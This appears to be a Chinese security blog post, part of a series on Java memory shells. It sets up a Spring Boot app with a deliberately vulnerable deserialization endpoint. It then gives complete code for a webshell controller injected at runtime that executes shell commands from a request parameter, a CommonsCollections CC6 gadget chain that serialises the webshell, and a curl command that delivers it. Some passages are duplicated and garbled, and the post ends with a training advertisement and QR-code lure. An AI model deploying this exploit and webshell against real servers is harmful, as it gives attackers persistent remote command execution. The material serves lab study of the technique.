前言
在前面的一章中,主要在理论上进行了各种内存马的实现,这里就做为上一篇的补充,自己搭建反序列化的漏洞环境来进行上文中理论上内存马的注入实践。
这是内存马系列文章的第十四篇。
环境搭建
可以使用我用的漏洞环境
https://github.com/Roboterh/JavaSecCodeEnv/blob/main/src/main/java/com/roboterh/vuln/controller/CommonsCollectionsVuln.java
或者自己搭建环境,使用:
-
spring-boot 2.5.0
-
commons-collections 3.2.1
我们使用commons-collections反序列化链作为一个反序列化漏洞的点,我们创建一个Controller
类:
package com.roboterh.vuln.controller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ObjectInputStream;
@Controller
public class CommonsCollectionsVuln {
@ResponseBody
@RequestMapping("/unser")
public void unserialize(HttpServletRequest request, HttpServletResponse response) throws Exception {
java.io.InputStream inputStream = request.getInputStream();
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
objectInputStream.readObject();
response.getWriter().println("successfully!!!");
}
@ResponseBody
@RequestMapping("/demo")
public void demo(HttpServletRequest request, HttpServletResponse response) throws Exception{
response.getWriter().println("This is a Demo!!!");
}
}
在/unser
路由中获取了请求体输入流进行了反序列化调用。
正文
Way 1
这个内存马主要是在spring
controller内存马注入中提到的方式,但是这里有一点不同的是,在直接使用前面的代码进行内存马注入的过程中,并不能够成功注入。
在debug过程中,发现是因为不能够找到他的构造方法而报错,更改后的注入方式。
1.首先是创建一个继承了AbstractTranslet
类的一个类:
package pers.cc;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Method;
public class SpringMemshell extends AbstractTranslet {
// 第一个构造函数
static {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 2. 通过反射获得自定义 controller 中test的 Method 对象
Method method2 = null;
try {
method2 = SpringMemshell.class.getMethod("test");
} catch (NoSuchMethodException e) {
e.printStackTrace();
}
// 3. 定义访问 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/RoboTerh");
// 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 5. 在内存中动态注册 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
// 创建用于处理请求的对象,加入“aaa”参数是为了触发第二个构造函数避免无限循环
SpringMemshell evilController = new SpringMemshell();
mappingHandlerMapping.registerMapping(info, evilController, method2);
}
public void test() throws IOException{
// 获取request和response对象
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
//exec
try {
String arg0 = request.getParameter("cmd");
PrintWriter writer = response.getWriter();
if (arg0 != null) {
String o = "";
java.lang.ProcessBuilder p;
if(System.getProperty("os.name").toLowerCase().contains("win")){
p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
}else{
p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
o = c.hasNext() ? c.next(): o;
c.close();
writer.write(o);
writer.flush();
writer.close();
}else{
response.sendError(404);
}
}catch (Exception e){}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
直接我们使用CC6链进行注入:
package pers.cc;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.FactoryTransformer;
import org.apache.commons.collections.functors.InstantiateFactory;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.aspectj.util.FileUtil;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC6_plus {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception{
byte[] bytes = FileUtil.readAsByteArray(new File("SpringMemshell.class"));
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{
bytes
});
setFieldValue(obj, "_name", "1");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
InstantiateFactory instantiateFactory;
instantiateFactory = new InstantiateFactory(com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter.class
,new Class[]{javax.xml.transform.Templates.class},new Object[]{obj});
FactoryTransformer factoryTransformer = new FactoryTransformer(instantiateFactory);
ConstantTransformer constantTransformer = new ConstantTransformer(1);
Map innerMap = new HashMap();
LazyMap outerMap = (LazyMap)LazyMap.decorate(innerMap, constantTransformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
setFieldValue(outerMap,"factory",factoryTransformer);
outerMap.remove("keykey");
serialize(expMap);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.ser"));
out.writeObject(obj);
}
}
之后,我们将我们生成的序列化数据存放在了1.ser
文件中。
2.在得到序列化数据之后,运行漏洞环境,通过curl
命令来发送序列化数据进行反序列化:
curl -v "http://localhost:9999/unser" --data-binary "@./1.ser"
最后可以验证注入效果。
能够成功注入,solve it !!
Way 2
way 1中是使用的通过
(WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0)
来获取的一个Child
Context环境,进而操控RequestMappingHandlerMapping
类对象,调用了其registerMapping
进行路由的注册。
这里我们换用上篇文章中提到的ContextLoader.getCurrentWebApplicationContext()
来测试是否能够成功注入。
在我简单的将前面获取上下文环境中的代码进行替换:
发现并不能够注入,原因是因为在调用ContextLoader.getCurrentWebApplicationContext
方法中,并没有得到上下文对象。
那为什么不能够得到呢?
在上一篇中的讲解中我们从注释中也知道了ContextLoader
类主要是通过ContextLoaderListener
来进行初始化的工作的。
所以,只有配置了ContextLoaderListener
这个监听器之后才可以使用这个类,我们环境中并没有进行配置,当然不能够获取到上下文环境捏!
但是在springboot中的解决方案官方主要是实现了一个ApplicationContextAware
接口的类中设置一个存放上下文环境的属性。这里我们通过spring项目的web.xml来进行实验:
在配置了该监听器之后,能够通过这种方式获取到上下文环境:
但是在这里又遇到了问题,在获取RequestMappingHandlerMapping
这个bean的时候提示找不到这个bean。
那又是因为什么捏?
因为通过这种方式获取的Context
是一个Root Context
,对于Context来说,允许Child Context
访问Root Context
中的Bean,反之是不允许的。
所以我们想要使用这种方法获取该bean,不仅需要使用ContextLoaderListener
这个监听器,还需要使得最低我们需要的RequestMappingHandlerMapping
这个bean是存在于Root
Context中,即是在applicationContext.xml
中进行的配置。
总结一下,很明显,在能够获取Child Context的情况下,选择前者的方法更占优也更加普遍。
Way 3
这里对于way
1中的实现中的改造主要是在进行Controller的动态创建中,主要是利用了DefaultAnnotationHandlerMapping
该映射器的特点,能够将注解转换成对应的映射关系。但是在高版本spring中已经不存在这个类了,被其他类给替换掉了。
给个小例子:
@Controller
public class SpringMemshell1 extends AbstractTranslet {
static {
// 1.获取上下文环境
ServletWebServerApplicationContext context = (ServletWebServerApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 2.通过调用registerSingleton注册一个bean
try {
context.getBeanFactory().registerSingleton("test", Class.forName("pers.cc.SpringMemshell1").newInstance());
} catch (Exception e) {
e.printStackTrace();
}
// 3.获取DefaultAnnotationHandlerMapping这个实现类
DefaultAnnotationHandlerMapping defaultAnnotationHandlerMapping = context.getBean(DefaultAnnotationHandlerMapping.class);
// 4.反射获取对应的registerHandler
try {
Method registerHandler = AbstractUrlHandlerMapping.class.getDeclaredMethod("registerHandler", String.class, Object.class);
// 5.调用该方法进行注册路由和handler
registerHandler.setAccessible(true);
System.out.println("try....");
registerHandler.invoke(defaultAnnotationHandlerMapping, "/RoboTerh", "test");
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
@RequestMapping("/RoboTerh")
public void test(HttpServletRequest request, HttpServletResponse response) {
//exec
try {
String arg0 = request.getParameter("cmd");
System.out.println("RoboTerh....");
PrintWriter writer = response.getWriter();
if (arg0 != null) {
String o = "";
java.lang.ProcessBuilder p;
if(System.getProperty("os.name").toLowerCase().contains("win")){
p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
}else{
p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
o = c.hasNext() ? c.next(): o;
c.close();
writer.write(o);
writer.flush();
writer.close();
}else{
response.sendError(404);
}
}catch (Exception e){}
}
}
Way 4
对于该方法相比较于Way 1中的构造也是变化在了Controller创建位置,
主要的点是在AbstractHandlerMethodMapping#detectHandlerMethods
方法中:
在使用CC6反序列化利用链进行内存马的注入过程中,在static代码块中进行了如下逻辑:
1.首先创建一个带有Controller
注解的Singleton
PS:后面会有解析其中注解的逻辑
2.因为AbstractHandlerMethodMapping
是一个抽象类,所以我们通过使用他的实现类RequestMappingHandlerMapping
来反射获取对应的detectHandlerMethods
方法
3.最后反射调用这个方法,传入的参数是我们前面注册的一个handler
具体解析注解的逻辑如下:
1.首先通过调用MethodIntrospector.selectMethods
进行解析对应的注解,返回了一个LinkedHashMap
类对象:
存放着方法和路由的映射关系
2.遍历这个Map,通过AOP实现获取可调用的方法对象。之后就是调用registerHandlerMethod
方法,进行Controller注册的步骤了。
相比于Way 1那种内存马的实现,其实最后进行路由注册的API都是同一个,在Way
1中,直接是通过调用registerHandlerMethod
方法,传入的是,自己构造的mapping / handler / method
参数动态进行Controller的创建。
但是在该方法中,主要是通过自己通过构造一个带有Controller相关注解的类,调用detectHandlerMethods
方法的方式自动进行注解的解析,生成了对应的方法和路由的映射
给出实验的代码:
// 1.获取上下文环境
ServletWebServerApplicationContext context = (ServletWebServerApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 2.通过调用registerSingleton注册一个bean
try {
context.getBeanFactory().registerSingleton("test", Class.forName("pers.cc.SpringMemshell1").newInstance());
} catch (Exception e) {
e.printStackTrace();
}
// 3.获取RequestMappingHandlerMapping这个实现类
RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 4.反射获取对应的detectHandlerMethods
try {
Method registerHandler = AbstractHandlerMethodMapping.class.getDeclaredMethod("detectHandlerMethods", Object.class);
// 5.调用该方法进行注册路由和handler
registerHandler.setAccessible(true);
System.out.println("try....");
registerHandler.invoke(requestMappingHandlerMapping, "test");
} catch (Exception e) {
e.printStackTrace();
}
能够成功注入该内存马。
同样在控制台中也打印除了我内置的一个测试代码:
5.调用该方法进行注册路由和handler
registerHandler.setAccessible(true);
System.out.println(“try…”);
registerHandler.invoke(requestMappingHandlerMapping, “test”);
} catch (Exception e) {
e.printStackTrace();
}
[外链图片转存中…(img-wPzmU8jh-1676274060265)]
能够成功注入该内存马。
同样在控制台中也打印除了我内置的一个测试代码:
[外链图片转存中…(img-xJQa2Xjt-1676274060265)]
[外链图片转存中…(img-Tirs1vNQ-1676274060265)]
最后
分享一个快速学习【网络安全】的方法,「也许是」最全面的学习方法:
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)
2、渗透测试基础(一周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等
3、操作系统基础(一周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)
4、计算机网络基础(一周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现
5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固
6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)
恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k。
到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?
想要入坑黑客&网络安全的朋友,给大家准备了一份:282G全网最全的网络安全资料包免费领取!
扫下方二维码,免费领取
有了这些基础,如果你要深入学习,可以参考下方这个超详细学习路线图,按照这个路线学习,完全够支撑你成为一名优秀的中高级网络安全工程师:
高清学习路线图或XMIND文件(点击下载原文件)
还有一些学习中收集的视频、文档资源,有需要的可以自取:
每个成长路线对应板块的配套视频:
当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。
因篇幅有限,仅展示部分资料,需要的可以【扫下方二维码免费领取】